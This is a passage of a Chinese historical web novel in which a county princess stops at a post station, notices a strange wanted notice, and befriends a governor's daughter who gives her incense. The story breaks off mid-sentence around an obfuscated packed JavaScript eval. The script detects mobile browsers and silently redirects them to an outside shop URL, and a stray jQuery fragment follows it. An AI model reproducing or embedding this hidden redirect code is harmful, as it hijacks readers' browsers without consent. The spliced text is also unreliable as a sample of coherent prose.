磁州驿馆的墙上,贴着一张追捕牒文。
第三位驻足的是位骑马的小娘子。
李川澜勒住缰绳,饶有兴致地端详了片刻,却渐渐蹙起了眉。
纸张的浆糊还没干透,上面墨迹清晰地写道:“捕亡:盗犯一名,诨号‘不系舟’。年约廿,身高六尺余,体形偏瘦,惯用左手,使一柄奇诡长剑。获赏者,官给钱一千贯。”
这牒文分明张贴不久,浆糊都还湿着,却无一人当众宣读,告谕过往百姓。
更古怪的是,纸上竟连一纸画像也无,莫说眉眼,连身形轮廓都不曾勾勒。
这哪里是追捕要犯的架势?
若在平日,她定要细细盘查一番。
可眼下她急着赶回长安,退了阿耶与范阳卢氏定下的亲事,实在没工夫在磁州多作逗留。
胯//下的坐骑“绛叱拔”前蹄刨了刨地,甩了甩头,喷出一团热气,似是已等得不耐烦。
她拍了拍马颈,安抚了两下,到底还是忍不住,回头又瞥了一眼牒文上那个诨号。
不系舟。
而后她一扯缰绳,朝驿馆门前驰去。
她一路思忖着,该如何向驿将打听那范阳卢氏的事。
听闻那卢氏曾在此地任司马一职,而驿将虽官职不高,却多为地方富户充任,迎来送往,消息最是灵通,对这等高门之事必定知晓不少。
最重要的是,不费周折。
踌躇间,一阵咳嗽声忽地传来,打断了她的思绪。
她循声望去,目光落在一个正从她身侧经过的病患身上。
这人背脊微佝,身量却不算矮,只是因病体缠身,清减了许多,瞧着有些消瘦。
她习惯的掏出钱袋,扔进了那人怀中。
那人却转过头来。包头布下只露出一双凤眼,不偏不倚,正正撞入她的视线。
四目相对,不过一息之间。
那人便垂下眼帘,掩嘴低咳了两声。
气息微弱:“多谢娘子,咳咳咳,咳咳咳——”
话毕男人弓着背,隐入人群去了。
不远处,一位身着圆领袍的圆脸侍女,急匆匆的喊着李川澜。
栖梧远远望见李川澜策马而来,悬了许久的心,才落回实处。
她连着唤了几声“娘子”,忙迎上前去,伸手欲扶她下马。
李川澜却不接她的手,只利索地一翻身,稳稳落地。又从马鞍旁解下方才闲逛时买的一包酥糖,随手递了过去。
“拿去尝尝,看合不合口。”
栖梧双手接过,含笑道:“多谢娘子。娘子可曾尝过了?”
李川澜正看着驿夫将马牵走,随口答道:“自然尝过了。”
两人并肩走入驿馆,驿将已快步迎了上来。
他叉手作揖,躬身道:“见过县主。驿馆简陋,若有供奉不周之处,还望县主海涵。”
李川澜略一点头,也不客套,顺势在就近的胡床上坐下。
她想趁天色尚早把正事问了,明日才好赶路。
“驿将可识得前些年在磁州任司马一职的范阳卢氏,卢云深?”
驿将垂着眼,目光落在她鞋尖那两颗圆润的米珠上,几不可察地顿了一顿,才答道:
“回县主,识得说不上,只是曾有过数面之缘。”
李川澜方才已瞥见他回话前指骨微微捏紧。
她没有追问。
既然他不愿说,虚与委蛇也问不出什么来。
她话锋一转:“罢了。驿馆外墙上那道追捕牒文,驿将可知其详?”
驿将松了一口气,他方才正是不知如何应对。
他的主家卢氏与这位东光县主定下婚事,本是喜事,他自然也乐意多说说这位卢大郎君。
可他也听出李川澜的语气不对,他也不敢随意对答,怕两头都得罪。
幸好,县主换了个话头。
驿将对这事倒是熟稔。
“回县主,州衙这回是吃了暗亏的。”他压低了声音,“昨夜有人潜入府衙,盗走一封密文。对外只说是丢了库银,封了城门,严加盘查,许进不许出。”
李川澜眉梢微动:“许进不许出?”
驿将忙赔笑道:“县主自然不在此列。县主奉太后召入京,持门下省驿券,谁敢拦县主的驾?”
也不算没有收获,赶路一日,也甚是疲惫。
想休息。
李川澜一起身,驿将便亲自引着她往西厅去。
她本欲移步,却在看到驿将动作的方向后顿住了足尖。
“东厅是何人下榻?”
驿将低头,早就听闻着东光县主矜贵,向来非上厅不住,这样一问,驿将早已冒起冷汗。
可东厅那位与县主虽都是二品,可按朝廷划分,那毕竟是一方节度。
思到此处,驿将才堪堪放心。
“是回京述职的昭义军节度使。节帅先行抵达,已在东厅安顿。”
李川澜只能点头。
驿将得了令松了那口吊着的气,继续带路。
他一边走,一边对李川澜言:“县主的护卫先安排在东厢安顿。驾车、养马的差役及牛、马匹,先安置在馆外车棚,草料我随后便着人送去。”
行至内厅门口,便见一绿裙侍女迎上来。
“娘子,房间已收拾妥当了。可要现在备水沐浴?”
李川澜点了点头:“也好,赶了一路,正觉乏得很。”
浴盆安置在偏厅,水汽氤氲间,清露跪坐在身后,替她一点一点绞着湿发。
早见县主眉间蹙着不曾松开,清露便问过栖梧知道事情的原委,于是轻声劝道:“娘子不必太过忧心。总不能这一路上遇见的,都是卢氏的人。”
李川澜却摇了摇头,低声道:“我不是怕他们。我是怕到了长安,一切都白费功夫。”
清露手上一顿,心里明白她在说什么。
河间郡王素来宠爱这位独女,说是千依百顺也不为过。
可不过回京月余,便与范阳卢氏定了亲事,竟连县主本人的意思也未曾问过一句。
李川澜闭上眼,任由热气熏着面庞。
她自然知道这一点。
所以她必须进京,亲眼去看看,究竟是什么,绊住了阿耶的手脚。
沐浴更衣毕,栖梧来报:昭义军节度使的夫人携女前来拜会。
李川澜便吩咐栖梧先好生款待,自己换了衣裳便往厅中去。
厅中。
一位着深青襦裙的妇人正在叮嘱身侧的少女。
妇人约莫四十上下,身量丰腴,云髻上簪着金簪与绢花。
少女约十三四岁年纪,穿一袭淡紫撒花襦裙,梳着双鬟望仙髻,安静坐在母亲身侧。
她生一张鹅蛋脸,下巴一颗小痣,眉目温顺。
妇人压着嗓子叮嘱:“县主是京中出了名的闺阁典范,又是河间郡王的掌珠。一会儿见着了,你可要好生学着些,看看人家皇室贵女的举止气度。”
少女轻轻“嗯”了一声。
听见门外脚步声,她飞快地朝门口看了一眼,又垂下了眼帘。
只见县主身着一身月白窄袖襦配石榴红长裙,头发半干,松松挽了个堕马髻,鬓边只簪了一朵白玉兰。
配饰虽然简单却自有风华。
两人起身,一同向李川澜行叉手礼。
李川澜微欠身。
“郡夫人安好,不想在此偶遇。”
刘夫人含笑应道:“是我家有此福分,竟在此处遇上县主。”说着拉过身侧少女,“这是家中的三女儿,名唤灵秀。”
刘三娘子上前一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914843|213287||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
步,敛衽下拜:“见过县主,县主安好。”
李川澜伸手虚扶了一把,目光不经意掠过少女的耳尖,只见那薄薄一层细嫩皮肉,正一点一点漫上红晕。
刘三娘子这才悄悄抬眼,又看了李川澜一回。
她心里想,原来母亲说的竟是真的。
这位东光县主,当真是神仙似的人物。
三人落座后,直性子的刘夫人便直说了来意:“去长安的路途尚远,不如我们同行,也好彼此照应?”
李川澜想了想,应道:“刘节帅武功高强,有夫人同行,我自是乐意的。只是要劳烦夫人了。”
刘夫人笑意更深了些:“不麻烦的。县主身边也是高手如云,是我们沾光才是。”
说了些闲话,刘夫人身边的侍女来附耳说话,而后刘夫人便起身告辞,只将自己的女儿留下和李川澜说话。
临到门口,她脚下一顿,像是刚想起什么,侧过身对相送她的李川澜压低声音:“县主今夜不妨点些安神香,好好歇一觉。莫让闲人扰了清梦,明日也好同行。”
李川澜微微一怔,随即颔首:“多谢夫人。”
送走刘夫人,她站在原地想了片刻,才转身往回走。
今夜有动静?
莫不是衙门找到了那“不系舟”?
一抬头便看见刘三娘子从袖中取出一只雕着缠枝莲纹的木匣。
她开口时声音细细的,像怕惊着什么似的:“我观县主眼下有淡淡乌青,怕是夜里睡得不安稳。我平日略通调香,常备安眠香,若县主不嫌弃,不妨一试……”
李川澜朝她走近两步,刘三娘子便连忙揭开匣盖。
一时间,一股清幽的香气缓缓漫开,似空谷幽兰,又带一点草木的苦意,闻着便让人心里松快下来。
李川澜接过来,低头看了看匣中香丸,神色柔和了几分:“此香很好,难为你费心了。”
刘三娘子耳根又烫了起来,忙垂下眼:“县主……喜欢就好。”
李川澜笑了笑,牵过她的手,领她在自己身侧坐下。
清露会意,接过木匣,取了一丸香投进炉中,不多时,一缕细细的烟便袅袅升起。
李川澜低头轻嗅,眉眼舒展:“真好闻。刘三娘子的手真巧。”
提到自己心爱之物,刘三娘子的话比平日多了几分:“多谢县主夸赞。这样的香倒不算难调,要说起来,最费功夫的是熏香理气……”
她话说到一半,忽然顿住了。
阿娘叮嘱过,要捡着县主喜欢的话说,要同县主亲近些。
可她方才只顾着说香,竟忘了这一层。
刘三娘子只觉得浑身都热了起来,嘴唇动了动,却一个字也吐不出。
李川澜正听得入神,忽然没了下文,便偏过头去看她。
见刘三娘子低着头,指尖来回抠着袖口的绣边,便开口问道:“怎么不说了?刘三娘子继续说吧,我喜欢听你说话。”
刘三娘子猛地抬头,眼睛一亮:“县主……不觉得无趣?”
李川澜看着她,目光里带着一点温和的笑意:“喜爱之事,怎么会无趣?”
刘三娘子听了这话,对李川澜更是亲近了几分,话也渐渐多了起来。
“这理香不止气味好闻,更有调理之功。”说到这里,她语气里不免带了几分自得,“我婶娘嫁与郑尚书,她家那个病弱的小郎君,便一直在用我调的香。”
李川澜微微讶异:“竟有如此效用?”
刘三娘子忙道:“其实就是安稳心神罢了。人心定了,身子自然也跟着好起来,倒也算不得什么奇事。”
刘三娘子指了指炉中袅袅升起的轻烟:“郑小郎君用的,便与这香异曲同工。气味相仿,只差了一味药。”
“何药?”
“细辛。”